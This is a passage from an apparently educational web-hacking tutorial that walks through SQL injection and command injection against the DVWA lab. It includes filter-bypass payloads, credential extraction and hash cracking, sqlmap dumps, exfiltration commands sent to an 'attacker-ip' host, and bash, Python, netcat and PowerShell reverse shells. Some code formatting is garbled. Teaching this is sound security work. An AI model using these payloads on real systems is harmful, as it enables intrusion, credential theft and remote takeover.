&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Bypassing keyword filters that block 'SELECT' 'UNION' etc:&lt;/span&gt;

&lt;span class="c1"&gt;-- Case variation (SQL is case-insensitive):&lt;/span&gt;
&lt;span class="k"&gt;SeLeCt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;UnIoN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sElEcT&lt;/span&gt;

&lt;span class="c1"&gt;-- Comment insertion (MySQL ignores /**/ comments inline):&lt;/span&gt;
&lt;span class="n"&gt;UN&lt;/span&gt;&lt;span class="cm"&gt;/**/&lt;/span&gt;&lt;span class="n"&gt;ION&lt;/span&gt; &lt;span class="n"&gt;SEL&lt;/span&gt;&lt;span class="cm"&gt;/**/&lt;/span&gt;&lt;span class="n"&gt;ECT&lt;/span&gt;

&lt;span class="c1"&gt;-- Double URL encoding (%27 = ', %2527 = %27 after server decodes):&lt;/span&gt;
&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;2527&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="k"&gt;first&lt;/span&gt; &lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="k"&gt;second&lt;/span&gt; &lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'

-- MySQL allows inline comments with version hints:
/*!UNION*/ /*!SELECT*/

-- Hex encoding strings to avoid quote filtering:
-- Instead of '&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="s1"&gt;', use 0x7573657273 (hex for '&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="s1"&gt;')
'&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x7573657273&lt;/span&gt;&lt;span class="c1"&gt;--&lt;/span&gt;

&lt;span class="c1"&gt;-- Whitespace alternatives (MySQL treats these as whitespace):&lt;/span&gt;
&lt;span class="n"&gt;Tab&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;
&lt;span class="n"&gt;Newline&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;  
&lt;span class="n"&gt;Carriage&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;
&lt;span class="n"&gt;Form&lt;/span&gt; &lt;span class="n"&gt;feed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="k"&gt;c&lt;/span&gt;
&lt;span class="n"&gt;Vertical&lt;/span&gt; &lt;span class="n"&gt;tab&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;

&lt;span class="c1"&gt;-- Plus signs for spaces in URL contexts:&lt;/span&gt;
&lt;span class="s1"&gt;' UNION+SELECT+NULL--

-- Bypassing OR/AND filters using &amp;amp;&amp;amp; and ||:
'&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="c1"&gt;--        (equivalent to OR)&lt;/span&gt;
&lt;span class="s1"&gt;' &amp;amp;&amp;amp; 1=1--        (equivalent to AND)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  6.4.3 Practice — SQL Injection Attacks Step by Step
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Manual SQL Injection Against DVWA
&lt;/h4&gt;

&lt;p&gt;With DVWA running (security level: Low), navigate to the SQL Injection module. The page shows a field labeled "User ID" that queries the users table and displays the user's details.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 1 — Confirm Injection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Enter &lt;code&gt;1'&lt;/code&gt; (one followed by a single quote). The application returns a MySQL error. This confirms the input is being concatenated directly into a SQL query.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 2 — Determine Column Count&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Enter &lt;code&gt;1 ORDER BY 1--&lt;/code&gt; — displays result normally.&lt;br&gt;
Enter &lt;code&gt;1 ORDER BY 2--&lt;/code&gt; — displays result normally.&lt;br&gt;
Enter &lt;code&gt;1 ORDER BY 3--&lt;/code&gt; — shows error "Unknown column '3' in order clause."&lt;/p&gt;

&lt;p&gt;The original query has exactly 2 columns.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 3 — Identify Display Columns&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Enter &lt;code&gt;' UNION SELECT NULL, NULL--&lt;/code&gt; — no error, confirms 2 columns. Now identify which ones display on the page:&lt;/p&gt;

&lt;p&gt;Enter &lt;code&gt;' UNION SELECT 'COLUMN1_TEST', NULL--&lt;/code&gt; — observe if "COLUMN1_TEST" appears in the response.&lt;br&gt;
Enter &lt;code&gt;' UNION SELECT NULL, 'COLUMN2_TEST'--&lt;/code&gt; — observe if "COLUMN2_TEST" appears.&lt;/p&gt;

&lt;p&gt;Both columns are displayed in DVWA's output (First Name and Surname fields).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 4 — Extract Database Information&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Database version:&lt;/span&gt;
&lt;span class="s1"&gt;' UNION SELECT NULL, version()--

-- Current database name:
'&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;database&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="c1"&gt;--&lt;/span&gt;

&lt;span class="c1"&gt;-- MySQL user (shows privilege level):&lt;/span&gt;
&lt;span class="s1"&gt;' UNION SELECT NULL, user()--

-- List all databases:
'&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;schema_name&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;schemata&lt;/span&gt;&lt;span class="c1"&gt;--&lt;/span&gt;

&lt;span class="c1"&gt;-- List all tables in current database (dvwa):&lt;/span&gt;
&lt;span class="s1"&gt;' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema='&lt;/span&gt;&lt;span class="n"&gt;dvwa&lt;/span&gt;&lt;span class="s1"&gt;'--

-- List columns in users table:
'&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;column_name&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'users'&lt;/span&gt;&lt;span class="c1"&gt;--&lt;/span&gt;

&lt;span class="c1"&gt;-- Extract all usernames and passwords:&lt;/span&gt;
&lt;span class="s1"&gt;' UNION SELECT user, password FROM users--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The password field in DVWA contains MD5 hashes. After extracting them, crack with hashcat:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 0 dvwa_hashes.txt /usr/share/wordlists/rockyou.txt
&lt;span class="c"&gt;# Most DVWA passwords crack quickly: admin:password, gordonb:abc123, etc.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Using SQLmap Against DVWA
&lt;/h4&gt;

&lt;p&gt;After confirming the injection manually, use sqlmap for automated extraction:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# In DVWA, get your session cookie from Burp or browser DevTools&lt;/span&gt;
&lt;span class="c"&gt;# (look for PHPSESSID in the Application tab → Cookies)&lt;/span&gt;

&lt;span class="c"&gt;# Run sqlmap with your session cookie:&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=your_session_id; security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--dbs&lt;/span&gt;

&lt;span class="c"&gt;# Dump the users table:&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=your_session_id; security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-D&lt;/span&gt; dvwa &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nb"&gt;users&lt;/span&gt; &lt;span class="nt"&gt;--dump&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Progressing Through Security Levels
&lt;/h4&gt;

&lt;p&gt;Once you have mastered Low, change DVWA's security level to Medium. The application now uses parameterized queries on some inputs but sanitizes in ways that are bypassable. Read the source code (available via the "View Source" button in DVWA) to understand what defense is applied and how to bypass it.&lt;/p&gt;

&lt;p&gt;High level adds additional server-side filtering. Each level teaches you something new about defense implementation and bypass methodology.&lt;/p&gt;




&lt;h3&gt;
  
  
  6.4.4 Command Injection Vulnerabilities
&lt;/h3&gt;

&lt;h4&gt;
  
  
  The Concept — When the Server Runs Your Commands
&lt;/h4&gt;

&lt;p&gt;Command injection occurs when user-controlled input is passed to an operating system command execution function without proper sanitization. The application builds a shell command by concatenating user input, and the operating system shell then executes the entire string — user input and all.&lt;/p&gt;

&lt;p&gt;The shell interprets special characters as command separators, allowing multiple commands to be executed in sequence. Common shell metacharacters:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Character&lt;/th&gt;
&lt;th&gt;Behavior&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Execute next command unconditionally&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ping host; id&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Execute next command only if first succeeds&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ping host &amp;amp;&amp;amp; id&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;`\&lt;/td&gt;
&lt;td&gt;\&lt;/td&gt;
&lt;td&gt;`&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;`\&lt;/td&gt;
&lt;td&gt;`&lt;/td&gt;
&lt;td&gt;Pipe output of first command to second&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;`&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Execute and substitute output (backticks)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;echo \&lt;/code&gt;id``&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$(...)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Execute and substitute output&lt;/td&gt;
&lt;td&gt;&lt;code&gt;echo $(id)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Redirect output to file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;id &amp;gt; /tmp/out.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Read input from file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mail &amp;lt; /etc/passwd&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Run command in background&lt;/td&gt;
&lt;td&gt;&lt;code&gt;payload &amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Newline — new command&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd\nid&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Vulnerable Code Examples — Recognizing the Pattern
&lt;/h4&gt;

&lt;p&gt;Command injection happens when developers use shell execution functions with unsanitized user input. Recognizing these patterns in source code is how you identify injection points during code review.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PHP:&lt;/strong&gt;&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;php&lt;br&gt;
// VULNERABLE — user input directly in shell command&lt;br&gt;
$hostname = $_GET['host'];&lt;br&gt;
$output = shell_exec("ping -c 3 $hostname");&lt;/p&gt;

&lt;p&gt;// Also vulnerable:&lt;br&gt;
system("nslookup $hostname");&lt;br&gt;
exec("traceroute $hostname");&lt;br&gt;
passthru("nmap $hostname");&lt;br&gt;
popen("dig $hostname", 'r');&lt;/p&gt;

&lt;p&gt;// SECURE — use escapeshellarg() to prevent injection:&lt;br&gt;
$hostname = escapeshellarg($_GET['host']);&lt;br&gt;
$output = shell_exec("ping -c 3 $hostname");&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Python:&lt;/strong&gt;&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;python&lt;/p&gt;
&lt;h1&gt;
  
  
  VULNERABLE
&lt;/h1&gt;

&lt;p&gt;import os&lt;br&gt;
hostname = request.form['host']&lt;br&gt;
output = os.system(f"ping -c 3 {hostname}")&lt;/p&gt;
&lt;h1&gt;
  
  
  Also vulnerable:
&lt;/h1&gt;

&lt;p&gt;subprocess.call(f"nmap {hostname}", shell=True)  # shell=True is the problem&lt;/p&gt;
&lt;h1&gt;
  
  
  SECURE — use subprocess with list argument (no shell interpretation):
&lt;/h1&gt;

&lt;p&gt;subprocess.call(["nmap", hostname])  # shell=False (default) — no injection possible&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Node.js:&lt;/strong&gt;&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;javascript&lt;br&gt;
// VULNERABLE&lt;br&gt;
const { exec } = require('child_process');&lt;br&gt;
exec(&lt;code&gt;ping -c 3 ${req.body.host}&lt;/code&gt;, (err, stdout) =&amp;gt; { ... });&lt;/p&gt;

&lt;p&gt;// SECURE — use spawn with argument list:&lt;br&gt;
const { spawn } = require('child_process');&lt;br&gt;
spawn('ping', ['-c', '3', req.body.host]);&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;
&lt;h4&gt;
  
  
  Finding Command Injection Points
&lt;/h4&gt;

&lt;p&gt;Look for any feature that suggests a system-level operation happening based on user input:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Network diagnostics:&lt;/strong&gt; "Ping this host", "Traceroute this IP", "DNS lookup", "Port check"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;File operations:&lt;/strong&gt; Converting uploaded files, generating PDFs from user content, image resizing&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Email functionality:&lt;/strong&gt; Sending emails using system mail utilities&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;System administration UI:&lt;/strong&gt; Server management panels, cPanel, WHM&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Logging and monitoring:&lt;/strong&gt; Log analysis tools that run system commands with user-supplied filters&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;API gateways:&lt;/strong&gt; Proxy functionality that executes commands based on API calls&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When you find such functionality, the detection methodology is to inject command separators and observe the response.&lt;/p&gt;
&lt;h4&gt;
  
  
  Basic Injection Payloads
&lt;/h4&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  On Linux/Unix — injection with semicolon:
&lt;/h1&gt;

&lt;p&gt;; id&lt;br&gt;
; whoami&lt;br&gt;
; uname -a&lt;br&gt;
; cat /etc/passwd&lt;/p&gt;
&lt;h1&gt;
  
  
  On Windows — injection with ampersand:
&lt;/h1&gt;

&lt;p&gt;&amp;amp; whoami&lt;br&gt;
&amp;amp; ipconfig /all&lt;br&gt;
&amp;amp; type C:\Windows\System32\drivers\etc\hosts&lt;/p&gt;
&lt;h1&gt;
  
  
  On both platforms — injection with pipe:
&lt;/h1&gt;

&lt;p&gt;| id&lt;br&gt;
| whoami&lt;/p&gt;
&lt;h1&gt;
  
  
  Newline injection (useful when semicolon is filtered):
&lt;/h1&gt;

&lt;p&gt;%0a id        # URL-encoded newline&lt;br&gt;
%0a whoami&lt;/p&gt;
&lt;h1&gt;
  
  
  Subshell injection:
&lt;/h1&gt;

&lt;p&gt;$(id)&lt;br&gt;
&lt;code&gt;id&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  If spaces are filtered — use ${IFS} (Internal Field Separator):
&lt;/h1&gt;

&lt;p&gt;;cat${IFS}/etc/passwd&lt;br&gt;
;id${IFS}&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;
&lt;h4&gt;
  
  
  Blind Command Injection — When No Output Is Returned
&lt;/h4&gt;

&lt;p&gt;The most common form of command injection is blind — the application executes your command but does not display the output in the response. Detection and exploitation require different techniques.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Detection using time delays:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Linux: sleep for 5 seconds — if response takes 5+ seconds, injection confirmed
&lt;/h1&gt;

&lt;p&gt;; sleep 5&lt;br&gt;
| sleep 5&lt;br&gt;
$(sleep 5)&lt;br&gt;
&lt;code&gt;sleep 5&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Windows: ping loopback 5 times (each ping ~1 second = 5 second delay)
&lt;/h1&gt;

&lt;p&gt;&amp;amp; ping -n 5 127.0.0.1&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Data exfiltration using out-of-band channels:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When you cannot see command output, use the server's network connectivity to send data to yourself:&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  HTTP callback — send command output to your server via curl:
&lt;/h1&gt;

&lt;p&gt;; curl &lt;a href="http://attacker-ip:4444/$(id)" rel="noopener noreferrer"&gt;http://attacker-ip:4444/$(id)&lt;/a&gt;&lt;br&gt;
; curl -X POST &lt;a href="http://attacker-ip:4444/" rel="noopener noreferrer"&gt;http://attacker-ip:4444/&lt;/a&gt; -d "$(cat /etc/passwd)"&lt;br&gt;
; wget &lt;a href="http://attacker-ip:4444/?data=$(whoami)" rel="noopener noreferrer"&gt;http://attacker-ip:4444/?data=$(whoami)&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  DNS exfiltration — embed output in DNS lookup:
&lt;/h1&gt;

&lt;p&gt;; nslookup $(whoami).attacker-domain.com&lt;br&gt;
; host $(cat /etc/hostname).attacker-domain.com&lt;/p&gt;
&lt;h1&gt;
  
  
  Set up a listener on your attack machine:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Terminal 1 — HTTP listener:
&lt;/h1&gt;

&lt;p&gt;python3 -m http.server 4444&lt;/p&gt;
&lt;h1&gt;
  
  
  or
&lt;/h1&gt;

&lt;p&gt;nc -lvnp 4444&lt;/p&gt;
&lt;h1&gt;
  
  
  Terminal 2 — Watch for incoming requests/connections
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;Use Burp Suite's Collaborator (Burp → Burp Collaborator client → Copy to clipboard) to get a unique URL/domain that records all DNS queries and HTTP requests made to it. This is more reliable than your own server for detecting out-of-band callbacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Writing command output to a readable file:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If the injection is in a web application and the web root is writable:&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Write output to a file accessible via HTTP:
&lt;/h1&gt;

&lt;p&gt;; id &amp;gt; /var/www/html/output.txt&lt;br&gt;
; cat /etc/passwd &amp;gt; /var/www/html/passwd.txt&lt;/p&gt;
&lt;h1&gt;
  
  
  Then read it:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  &lt;a href="http://target.com/output.txt" rel="noopener noreferrer"&gt;http://target.com/output.txt&lt;/a&gt;
&lt;/h1&gt;
&lt;h1&gt;
  
  
  &lt;a href="http://target.com/passwd.txt" rel="noopener noreferrer"&gt;http://target.com/passwd.txt&lt;/a&gt;
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;
&lt;h4&gt;
  
  
  Escalating to a Reverse Shell
&lt;/h4&gt;

&lt;p&gt;Command injection typically provides blind RCE (Remote Code Execution). To get an interactive session, escalate to a reverse shell:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Set up your listener on the attack machine&lt;/strong&gt;&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  On Kali Linux:
&lt;/h1&gt;

&lt;p&gt;nc -lvnp 4444&lt;/p&gt;
&lt;h1&gt;
  
  
  or for more stability:
&lt;/h1&gt;

&lt;p&gt;nc -lvnp 4444&lt;/p&gt;
&lt;h1&gt;
  
  
  or with rlwrap for arrow keys and history:
&lt;/h1&gt;

&lt;p&gt;rlwrap nc -lvnp 4444&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Inject the reverse shell payload&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Bash reverse shell (most reliable on Linux):
&lt;/h1&gt;

&lt;p&gt;; bash -i &amp;gt;&amp;amp; /dev/tcp/attacker-ip/4444 0&amp;gt;&amp;amp;1&lt;/p&gt;
&lt;h1&gt;
  
  
  URL-encoded version (for injection via URL parameter):
&lt;/h1&gt;

&lt;p&gt;; bash+-i+&amp;gt;%26+/dev/tcp/attacker-ip/4444+0&amp;gt;%261&lt;/p&gt;
&lt;h1&gt;
  
  
  Python reverse shell (works when bash is unavailable):
&lt;/h1&gt;

&lt;p&gt;; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker-ip",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'&lt;/p&gt;
&lt;h1&gt;
  
  
  Netcat reverse shell (if nc is available on target):
&lt;/h1&gt;

&lt;p&gt;; nc attacker-ip 4444 -e /bin/bash&lt;/p&gt;
&lt;h1&gt;
  
  
  PowerShell reverse shell (Windows targets):
&lt;/h1&gt;

&lt;p&gt;&amp;amp; powershell -c "$c=New-Object Net.Sockets.TCPClient('attacker-ip',4444);$s=$c.GetStream();[byte[]]$b=0..65535;while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2&amp;gt;&amp;amp;1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'&amp;gt; ';$r=[text.encoding]::ASCII.GetBytes($sb2);$s.Write($r,0,$r.Length)}"&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Upgrading a netcat shell to a fully interactive TTY:&lt;/strong&gt;&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  After getting a shell via nc:
&lt;/h1&gt;

&lt;p&gt;python3 -c 'import pty; pty.spawn("/bin/bash")'&lt;/p&gt;
&lt;h1&gt;
  
  
  Then: Ctrl+Z to background
&lt;/h1&gt;

&lt;p&gt;stty raw -echo; fg&lt;/p&gt;
&lt;h1&gt;
  
  
  Press Enter twice
&lt;/h1&gt;

&lt;p&gt;export TERM=xterm&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;


&lt;h3&gt;
  
  
  6.4.5 Practice — Command Injection Step by Step
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Testing on DVWA
&lt;/h4&gt;

&lt;p&gt;Navigate to DVWA → Command Injection. The page has a field asking for a hostname to ping. Enter &lt;code&gt;127.0.0.1&lt;/code&gt; — the application returns the output of a ping command.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Confirm injection:&lt;/strong&gt;&lt;br&gt;
Enter &lt;code&gt;127.0.0.1; id&lt;/code&gt; in the ping field. If command injection is present at Low security, the page displays the ping output followed by the &lt;code&gt;id&lt;/code&gt; command output (e.g., &lt;code&gt;uid=33(www-data) gid=33(www-data) groups=33(www-data)&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Information gathering:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;`&lt;br&gt;
127.0.0.1; uname -a          # Kernel version and OS&lt;br&gt;
127.0.0.1; cat /etc/passwd   # User accounts&lt;br&gt;
127.0.0.1; whoami            # Current user&lt;br&gt;
127.0.0.1; pwd               # Current working directory&lt;br&gt;
127.0.0.1; ls -la /var/www   # Web root contents&lt;br&gt;
127.0.0.1; cat /var/www/html/dvwa/config/config.inc.php  # Database credentials!&lt;br&gt;
`&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The config file discovery is particularly impactful — it contains the database credentials in plaintext, which can then be used for direct MySQL access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Medium security bypass:&lt;/strong&gt;&lt;br&gt;
DVWA's Medium level filters &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; and &lt;code&gt;;&lt;/code&gt; but allows pipes and other separators:&lt;br&gt;
&lt;code&gt;`&lt;br&gt;
127.0.0.1 | id&lt;br&gt;
127.0.0.1 || id    # Pipe followed by second pipe — different character&lt;br&gt;
127.0.0.1 &amp;amp; id&lt;br&gt;
`&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Check DVWA's source code to see exactly what is filtered, then find the gap.&lt;/p&gt;


&lt;h3&gt;
  
  
  6.4.6 LDAP Injection Vulnerabilities
&lt;/h3&gt;
&lt;h4&gt;
  
